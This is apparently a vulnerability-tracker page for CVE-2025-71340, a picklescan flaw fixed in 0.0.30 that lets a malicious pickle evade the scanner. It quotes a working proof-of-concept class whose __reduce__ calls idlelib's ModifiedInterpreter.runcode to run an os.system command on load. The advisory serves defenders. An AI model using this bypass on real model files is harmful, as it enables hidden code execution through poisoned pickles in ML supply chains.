Live › vulnerability › CVE-2025-71340
Picklescan, a Python library used to scan pickle files for dangerous content, fails to flag a payload that calls idlelib.pyshell.ModifiedInterpreter.runcode from a pickle's reduce method. A malicious pickle that passes the scan can run arbitrary commands when a victim loads it with pickle.load().
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-11-03 17:41 UTC, 0h before NVD. All times on this page are UTC.
Teams that rely on picklescan to decide whether a pickle file, such as a PyTorch model, is safe before calling pickle.load() on it. Projects that never scan or load untrusted pickle files are much less exposed, since the risk comes from trusting the scanner's verdict.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| picklescan | pypi | < 0.0.30 | 0.0.30 |
pip show picklescan and compare it to 0.0.30.picklescan 0.0.30 (affected versions are below 0.0.30).Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
Using idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file.
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
from idlelib.pyshell import ModifiedInterpreter
from types import SimpleNamespace
class EvilIdlelibPyshellModifiedInterpreterRuncode:
def __reduce__(self):
payload = "__import__('os').system('whoami')"
fake_self = SimpleNamespace(
locals={},
tkconsole=SimpleNamespace(
executing=False,
beginexecuting=str,
canceled=False,
closing=False,
showtraceback=str,
endexecuting=str,
stderr=None,
text=SimpleNamespace(),
getvar=str
),
rpcclt=None,
debugger=None,
checklinecache=str,
active_seq=None,
showtraceback=str,
canceled=False,
closing=False
)
return ModifiedInterpreter.runcode, (fake_self, payload)
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
This page as .md · .json · in your agent: get_signal("CVE-2025-71340")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.